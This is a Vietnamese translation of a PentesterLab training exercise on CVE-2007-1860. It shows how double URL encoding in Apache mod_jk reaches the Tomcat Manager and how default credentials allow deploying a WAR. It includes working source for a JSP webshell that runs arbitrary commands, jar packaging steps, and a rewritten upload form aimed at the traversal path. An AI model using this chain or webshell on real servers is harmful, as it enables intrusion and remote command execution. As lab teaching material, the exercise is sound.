Giới thiệu
Khóa học này trình bày chi tiết việc khai thác lỗ hổng trong mod_jk và cách sử dụng vấn đề này để có thể truy cập vào giao diện quản trị của máy chủ Tomcat (trình quản lý của Tomcat). Sau đó, sử dụng quyền truy cập này, chúng ta sẽ thấy cách kẻ tấn công có thể sử dụng thông tin đăng nhập mặc định để đăng nhập với tư cách quản trị viên và sử dụng quyền truy cập này để thực thi mã trên máy chủ.
Tomcat và Apache
Kiến trúc
Trên các hệ thống Unix/Linux, Tomcat không thể chạy trên cổng 80 trừ khi bạn khởi động với quyền root, điều này không phải là một ý kiến hay vì Tomcat không bỏ đặc quyền và sẽ chạy dưới dạng root (trái ngược với Apache làm giảm đặc quyền trong quá trình khởi động). Tuy nhiên, máy chủ cần phải có sẵn trên cổng 80 (hoặc 443 cho https), đó là một trong những lý do mọi người sử dụng Apache để “proxy” các request được thực hiện đến cổng 80 để Tomcat chạy trên port cao hơn. Cấu hình này cũng có thể được sử dụng để:
- phục vụ nội dung tĩnh trực tiếp từ Apache và giới hạn tải của Tomcat;
- yêu cầu cân bằng tải giữa hai hoặc nhiều máy chủ Tomcat.
Máy chủ Apache và Tomcat có thể nằm trên cùng một máy chủ hoặc trên các máy chủ khác nhau, điều này có thể gây nhầm lẫn khi bạn thực thi lệnh trên máy chủ Tomcat và nhận ra rằng cấu hình của nó không khớp với những gì bạn thấy trên phần cuối của Apache.
Có hai cách phổ biến để “proxy” request từ Apache tới Tomcat:
- http_proxy: các yêu cầu được chuyển tiếp đến Tomcat bằng giao thức HTTP;
- ajp13: các yêu cầu được chuyển tiếp đến Tomcat bằng giao thức AJP13. Cấu hình này được sử dụng trong bài tập này bằng cách sử dụng mô-đun Apache mod_jk.
Tùy thuộc vào cấu hình của nó và vào yêu cầu được xử lý, Apache sẽ quyết định:
- để tự xử lý yêu cầu:
- để chuyển yêu cầu tới Tomcat để xử lý:
Một bước rất quan trọng để hiểu và biết cách tìm URL để khai thác CVE-2007-1860. Một cách đơn giản là khám phá bằng cách sử dụng trang thông báo lỗi 404. Nếu bạn có thể nhìn thấy một trang error đến từ Apache, ví dụ khi bạn truy cập trang và kết quả trả về như ảnh sau thì có nghĩa là nó được handle bằng Apache:
https://ptl-a7d0c1ce-fc5a60d2.libcurl.so/test404
Tuy nhiên, nếu bạn nhìn thấy trang 404 như sau thì nó được handle bằng Tomcat (https://ptl-a7d0c1ce-fc5a60d2.libcurl.so/examples/jsp/test404):
CVE-2007-1860
Giới thiệu
Mục tiêu của chúng ta ở đây là có được quyền truy cập vào Tomcat Manager. Tomcat Manager được sử dụng để triển khai các ứng dụng web trong Tomcat. Tomcat Manager có sẵn tại URI sau: /manager/html và thường được bảo vệ bằng mật khẩu (và không nên cài đặt trên môi trường product). Nếu bạn muốn biết thêm về trình quản lý Tomcat, hãy đảm bảo bạn kiểm tra bài tập trước của chúng tôi https://pentesterlab.com/exercises/axis2andtomcat_manager/.
Truy cập Manager sử dụng CVE-2007-1860
Nếu bạn xem phần tư vấn, bạn có thể biết thêm chi tiết về lỗ hổng này http://mail-archives.apache.org/mod_mbox/tomcat-dev/200706.mbox/%3C4667755F.6070700@apache.org%3E:
Vấn đề xuất phát từ thực tế là cả máy chủ web (Apache sử dụng mod_jk) và máy chủ ứng dụng (Tomcat) sẽ thực hiện giải mã đường dẫn do máy khách cung cấp.
Mục tiêu của chúng tôi ở đây là cung cấp một giá trị sẽ được giải mã hai lần và kết thúc là … Vấn đề này tương tự như truyền tải thư mục, nó có thể được sử dụng để truy cập file/path không khả dụng.
Nếu bạn đã đọc bài tập trước của chúng tôi “Web for Pentester” (https://pentesterlab.com/exercises/webforpentester/), bạn nên làm quen với double decoding/encoding. Bạn có thể tìm thấy một bản tóm tắt nhanh bên dưới:
Value | URL encoding | Double URL encoding |
. | %2e | %252e |
Về cơ bản, . được mã hóa thành %2e và % trong %2e sau đó được mã hóa lại thành %25. Giá trị 25 không cần mã hóa thứ hai.
Nếu bạn cung cấp %252e này cho một modjk dễ bị tấn công, nó sẽ thực hiện giải mã đầu tiên và gửi giá trị %2e tới Tomcat. Sau đó Tomcat sẽ thực hiện giải mã thứ hai để lấy giá trị .. Nếu bạn sử dụng %252e%252e, thì bạn sẽ có thể gửi .. tới Tomcat. Nếu bạn cố gắng gửi .. trực tiếp đến Apache, nó sẽ không chuyển tiếp yêu cầu đến Tomcat trừ khi đường dẫn giải quyết thành một đường dẫn được định cấu hình để chuyển tiếp đến Tomcat (sử dụng modjk
).
Bây giờ, bước tiếp theo là tìm một path:
- Apache sẽ gửi đến Tomcat để xử lý.
- chứa double-encoding trick %252e%252e.
- chứa path /manager/html sau mã hóa kép để truy cập giao diện quản trị Tomcat.
Khi bạn tìm thấy path phù hợp, bạn sẽ được nhắc nhập thông tin đăng nhập:
Triển khai một Webshell
Trong phần này, chúng ta sẽ xem cách chúng ta có thể xây dựng và triển khai một Webshell để thực thi lệnh trên máy chủ.
Xây dựng một Webshell
Để xây dựng một Webshell, chúng ta sẽ cần viết Webshell và đóng gói nó dưới dạng tệp war . Để viết Webshell, chúng ta có thể sử dụng JSP hoặc Servlet. Để đơn giản hóa mọi thứ, chúng ta sẽ xây dựng một JSP Webshell, có thể sử dụng đoạn mã sau:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre> |
Bây giờ chúng ta có thể tạo một webshell tên thư mục và đặt tệp của chúng ta(index.jsp) vào bên trong nó:
1 2 |
$ mkdir webshell $ cp index.jsp webshell |
Bây giờ chúng ta có thể xây dựng tệp war bằng cách sử dụng jar (cung cấp với java):
1 2 3 4 |
$ cd webshell $ jar -cvf ../webshell.war * added manifest adding: index.jsp(in = 579) (out= 351)(deflated 39%) |
Webshell của chúng ta (webshell.war) hiện đã được đóng gói và chúng ta có thể tải nó lên bằng Trình quản lý Tomcat.
Deploying your Webshell
Thông thường, bạn có thể sử dụng biểu mẫu sau để tải lên tệp war:
Nếu bạn đã cố gắng tải lên tệp war bằng cách chọn tệp war và chỉ cần nhấp vào triển khai, bạn sẽ nhận được trang 404 vì URL triển khai không sử dụng double-encoding trick để có quyền truy cập vào trình quản lý. Để thực hiện việc triển khai này, bạn sẽ cần phải làm cho trình duyệt của mình đưa war đến đúng vị trí.
Có 3 cách đơn giản để vượt qua vấn đề này:
- Xây dựng một trang html sẽ đưa war đến đúng URL.
- Sửa đổi yêu cầu bằng cách sử dụng proxy.
- Sửa đổi trang bằng cách sử dụng tiện ích mở rộng của trình duyệt như webdeveloper (hoặc “Inspect Element” trong Chrome).
Cách dễ nhất là tạo lại HTML bằng cách sao chép nó từ trang gốc và bằng cách thay đổi thuộc tính action để khai thác vấn đề double-encoding. Nội dung ban đầu của trang HTML phải tương tự như:
1 2 3 4 5 6 7 |
<form action="/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data"> [..] <input type="file" name="deployWar" size="40"> [...] <input type="submit" value="Deploy"> [...] </form> |
Hoặc (cho Tomcat 7):
1 2 3 4 5 6 7 |
<form action="/examples/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data"> [..] <input type="file" name="deployWar" size="40"> [...] <input type="submit" value="Deploy"> [...] </form> |
Và bạn cần nhận được một cái gì đó tương tự như:
1 2 3 4 |
<form action="http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data"> <input type="file" name="deployWar" size="40"> <input type="submit" value="Deploy"> </form> |
Thêm URL đầy đủ vào form action sẽ cho phép bạn lưu tệp cục bộ và sử dụng tệp đó để khởi động cuộc tấn công của bạn.
Ngoài ra, bằng cách sử dụng “Developer Tools” của trình duyệt, bạn có thể trực tiếp sửa đổi trang HTML để thêm double-encoding trick vào form action:
Khi Webshell được triển khai, bạn sẽ thấy nó trong Tomcat’s Manager:
Gaining Commands execution
Nếu bạn nhấp vào liên kết trong giao diện trình quản lý, bạn sẽ gặp lỗi HTTP 404:
Hãy nhớ những gì chúng ta đã nói về lỗi Apache và lỗi Tomcat, ở đây chúng ta có thể thấy rằng chúng ta đang nói chuyện với Apache. Bạn sẽ cần sử dụng double-encoding trick để truy cập Webshell của mình và thực thi mã:
Tổng kết
Bài tập này giải thích cách truy cập vào trình quản lý Tomcat bằng CVE-2007-1860. Khi bạn có quyền truy cập vào người quản lý, bạn sẽ cần phải đoán thông tin đăng nhập. May mắn thay, quản trị viên hệ thống không biết rằng người dùng bên ngoài có thể truy cập trình quản lý và không bận tâm đến việc thay đổi thông tin đăng nhập mặc định. Sau khi có thông tin xác thực, bạn có thể dễ dàng truy cập vào giao diện quản trị của máy chủ ứng dụng và triển khai ứng dụng web tùy chỉnh để chạy các lệnh tùy ý trên hệ thống. Tôi hy vọng bạn thích học với PentesterLab.